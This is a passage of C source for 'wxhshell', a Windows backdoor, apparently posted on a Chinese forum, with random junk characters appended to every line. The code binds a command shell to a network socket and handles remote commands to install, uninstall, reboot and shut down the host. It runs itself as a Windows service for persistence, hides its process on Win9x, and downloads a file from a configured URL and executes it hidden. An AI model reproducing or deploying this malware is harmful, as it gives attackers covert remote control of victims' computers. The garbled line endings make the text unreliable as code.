  case '?': { xy[aZr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $irF  
    break; cCbZ*  
  } F!&$Z .  
  // 安装 Vo8gLX]a  
  case 'i': { \*5${[  
    if(Install()) 0 pPSg9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g! DJ W  
    else Y2Y)|<FH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z6;6 o!ej  
    break; ` D={l29H  
    } k}FmdaPI'  
  // 卸载 V3<H8pL  
  case 'r': { Wg!JQRHtT  
    if(Uninstall()) F;sZc,Y,^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); db`L0JB  
    else )uu1AbT +e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =C 7WQ  
    break; 2v?fbrC5c  
    } a(oa?OdJ  
  // 显示 wxhshell 所在路径 _UGR+0'Q\  
  case 'p': { X)b@ia'"Wp  
    char svExeFile[MAX_PATH]; Z|$M 9E  
    strcpy(svExeFile,"\n\r"); hU6oWm  
      strcat(svExeFile,ExeFile); |Q+:vb:  
        send(wsh,svExeFile,strlen(svExeFile),0); F_F02:t  
    break; ]+A%3 7  
    } Cd2A&RB  
  // 重启 g+A>Bl3#  
  case 'b': { LY;Fjb yU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AF\Jh+ynT!  
    if(Boot(REBOOT)) %%FzBbWAO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nM| Cv  
    else { 5Ky(C6E$s  
    closesocket(wsh); &&g02>gE  
    ExitThread(0); /V GI@"^v  
    } _Wqy,L;J  
    break; +\]Gu(z<  
    } Xz`0nU  
  // 关机 7@ \:l~{  
  case 'd': { # /Bg5:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Swr4De_5  
    if(Boot(SHUTDOWN)) VwOcWKD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pO92cGJ8  
    else { <*(^QOM  
    closesocket(wsh); e|N~tUVrrN  
    ExitThread(0); 6EeO\Qj{  
    } Cxeam"-HTt  
    break; :gO5#HIm  
    } Wdi`Z E  
  // 获取shell E!_3?:[S_  
  case 's': { 9dm oB_G  
    CmdShell(wsh); B"8jEYT5  
    closesocket(wsh); .$@+ / @4  
    ExitThread(0); 2VzYP~Jg  
    break; F1A40h7R$Y  
  } flT6y-d  
  // 退出 P0pBR_:o  
  case 'x': { H@1}_d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z?xRSi2~7  
    CloseIt(wsh); \W]gy_=D{  
    break; AmC?qoEWQ7  
    } p6Z|)1O]  
  // 离开 xv&h>GOg  
  case 'q': { wZs 2 aa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `BVmuUMm  
    closesocket(wsh); FWA?mde  
    WSACleanup(); ^qnmKA>"F  
    exit(1); AgZ?Ry  
    break; :AS`1\ C  
        } Qe{w)e0}`  
  } 2?SbkU/3|P  
  } X8">DR&>Y  
J>5rkR@/  
  // 提示信息 a ydNSgu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [}]yJ+)  
} H>A6VDu  
  } Fj(GyPFG  
9 h?'zyX B  
  return; FF~r&h8H  
} X fqhD&g  
( *Xn"o  
// shell模块句柄 w7o`B R  
int CmdShell(SOCKET sock) vj]>X4'i  
{ ,|B-Nq  
STARTUPINFO si; 31@Lr[!  
ZeroMemory(&si,sizeof(si)); H=Ilum06  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !TJ,:c]4{!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {BT/P!  
PROCESS_INFORMATION ProcessInfo; [d8Q AO1;)  
char cmdline[]="cmd"; 94?WL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r]UF<*$  
  return 0; m$kQbPlatN  
} c&!mKMrk  
ksOGCd^G7  
// 自身启动模式 $+!dP{   
int StartFromService(void) pW(rNAJ!  
{ Ve3z5d:^  
typedef struct !qj[$x-ns  
{ [d6!  
  DWORD ExitStatus; "y,YC M`  
  DWORD PebBaseAddress; _*fNa!@hY  
  DWORD AffinityMask; Sw\*$g]  
  DWORD BasePriority; DAB9-[y+  
  ULONG UniqueProcessId; IW 3k{z  
  ULONG InheritedFromUniqueProcessId; //U1mDFT  
}   PROCESS_BASIC_INFORMATION; l%0bF9\  
MC}t8L=  
PROCNTQSIP NtQueryInformationProcess; 50W+!'  
["Ltqgx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2T~cOH;T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CWn\K R  
D(#f`Fj;  
  HANDLE             hProcess; EiL#Dwx  
  PROCESS_BASIC_INFORMATION pbi; xc:E>-  
}}JMwT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CubQ6@,  
  if(NULL == hInst ) return 0; ;*<tU n^t  
u0q$`9J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1iy$n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G*fo9eu5$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wwq:\C  
z)qYW6o%  
  if (!NtQueryInformationProcess) return 0; /kW Z 8Z  
mgq!)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _FY&XL=  
  if(!hProcess) return 0; Fb5U@X/vE  
&O&HczO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k$w~JO!s  
EKwQ$?I  
  CloseHandle(hProcess); I0Pw~Jj{  
M&Ka ^h;N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LVj 1NP  
if(hProcess==NULL) return 0; 2$JGhgDI  
4Gc M  
HMODULE hMod; #z*,CU#S9d  
char procName[255]; ti\ ${C3  
unsigned long cbNeeded; 1 em,/> "  
za>UE,?h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t]yxLl\  
OXEk{#Uf[3  
  CloseHandle(hProcess); m&UP@hUV-  
zM9#1^X  
if(strstr(procName,"services")) return 1; // 以服务启动 =)[m[@,c  
v= 55{  
  return 0; // 注册表启动 HN5m%R&`  
} I"07x'Ahq3  
^\\3bW9}H  
// 主模块 nw+~:c  
int StartWxhshell(LPSTR lpCmdLine) Xn6#q3;^|  
{ A6N6e\*  
  SOCKET wsl; XE}gl&\  
BOOL val=TRUE; 25Dl4<-Z  
  int port=0; ~M C|  
  struct sockaddr_in door; k ut=( ;  
ZZw`8 E  
  if(wscfg.ws_autoins) Install(); :xh{SsW@  
{Su?*M2y  
port=atoi(lpCmdLine); i"2OsGT  
e7vm3<m4  
if(port<=0) port=wscfg.ws_port; ejROJXB  
D*XrK0#Z`  
  WSADATA data; QQ*sjK.(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^|]&"OaB Z  
@T'^V0!-q:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \iuR+I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lSj gN~:z  
  door.sin_family = AF_INET; 7aG.?Ca%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "s2_X+4oY  
  door.sin_port = htons(port); OxlA)$.hpu  
LD$5KaOW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b/SBQ" B%  
closesocket(wsl); jkAjYR.  
return 1; zTz}H*U  
} hnnB4]c  
0Y.z  
  if(listen(wsl,2) == INVALID_SOCKET) { Kl1v^3\{  
closesocket(wsl); j#NyNv(jE1  
return 1; @CMI$}!{V  
} =~#mF<z5  
  Wxhshell(wsl); j{@O %fv=  
  WSACleanup(); !NXjax\r  
$%<{zWQm  
return 0; ?|nl93m  
7#V7D6j1  
} MqyjTY::Xg  
%pC<T*f  
// 以NT服务方式启动 ,/;Ae w;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j6 wFks  
{ X\}l" ]  
DWORD   status = 0; R+ * ; [  
  DWORD   specificError = 0xfffffff; pwFp<O"  
ewDYu=`*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -^_m(@A<~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "F F$Q#)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _jWs(OmJ  
  serviceStatus.dwWin32ExitCode     = 0; E$ d#4x  
  serviceStatus.dwServiceSpecificExitCode = 0; 5E!C?dv(z  
  serviceStatus.dwCheckPoint       = 0; OgQd yU  
  serviceStatus.dwWaitHint       = 0; ]?9*Vr:P^  
nL@'??I1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sS D8Sx/  
  if (hServiceStatusHandle==0) return; l45/$G7  
LUOjaX  
status = GetLastError(); JGs: RD'  
  if (status!=NO_ERROR) --yF%tRMP  
{ h\s/rZg=r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2g.lb&3W  
    serviceStatus.dwCheckPoint       = 0; _&<n'fK[  
    serviceStatus.dwWaitHint       = 0; %I1@{>OxG  
    serviceStatus.dwWin32ExitCode     = status; PmR].Ohzi  
    serviceStatus.dwServiceSpecificExitCode = specificError; inP2y?j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c[dSO(=  
    return; gf|uZ9{  
  } u'YXI="(  
|z-f 8$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y:^hd809  
  serviceStatus.dwCheckPoint       = 0; Hon2;-:]{]  
  serviceStatus.dwWaitHint       = 0; ? SFBUX(p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 144Y.  
} AdX))xgl  
tOwn M1 :(  
// 处理NT服务事件,比如:启动、停止 !_QI<=X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f|[7LIdh-  
{ N*Y[[N(  
switch(fdwControl) K-qWT7<  
{ u]^ s2v  
case SERVICE_CONTROL_STOP: qeZG/\,  
  serviceStatus.dwWin32ExitCode = 0; l:HQ@FX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u mYsO.8  
  serviceStatus.dwCheckPoint   = 0; ]so/AdT9hA  
  serviceStatus.dwWaitHint     = 0; m`yvZ4K!  
  { >m%_`68  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y>o:5':;'  
  } n,N->t$i  
  return; #bOv}1,s  
case SERVICE_CONTROL_PAUSE: M/ 3;-g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MxTJgY  
  break; ]OAU&t{  
case SERVICE_CONTROL_CONTINUE: Z@~gN5@,M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Kb~nC6yJc  
  break; _4{0He`q  
case SERVICE_CONTROL_INTERROGATE: 73Dxf -  
  break; 5100fX}  
}; {K^5q{u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bz*@[NQ  
} 'L/)9.29  
U2Ve @.  
// 标准应用程序主函数 Vt`4u5HG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '+Dsmoy  
{ xIdb9hm<  
JrP`u4f_  
// 获取操作系统版本 E=NjWO  
OsIsNt=GetOsVer(); Gu;40)gm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U/>I! 7oe  
7HkO:/  
  // 从命令行安装 TWP@\ BQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); &RR;'wLoQT  
WQ|Ufl;  
  // 下载执行文件 $^x=i;>aK.  
if(wscfg.ws_downexe) { Fh~9(Y#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *5'8jC"2g  
  WinExec(wscfg.ws_filenam,SW_HIDE); "4b{YWv  
} o&JoeKXor  
,!= sGUQ)  
if(!OsIsNt) { 5Tsz|k  
// 如果时win9x,隐藏进程并且设置为注册表启动 Kz'GAm\  
HideProc(); oj8r*  
StartWxhshell(lpCmdLine); X5WA-s(?0  
} [P2>KQ\  
else vo/x`F'ib  
  if(StartFromService()) pY&6p~\p  
  // 以服务方式启动 3u@,OE  
  StartServiceCtrlDispatcher(DispatchTable); #}A"yo  
else ={g"cx  
  // 普通方式启动 Et6j6gmif  
  StartWxhshell(lpCmdLine); Ey@^gHku\  
h#1:ypA6l  
return 0; [^"}jbn/  
}
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只看该作者 1 发表于: 2006-10-10
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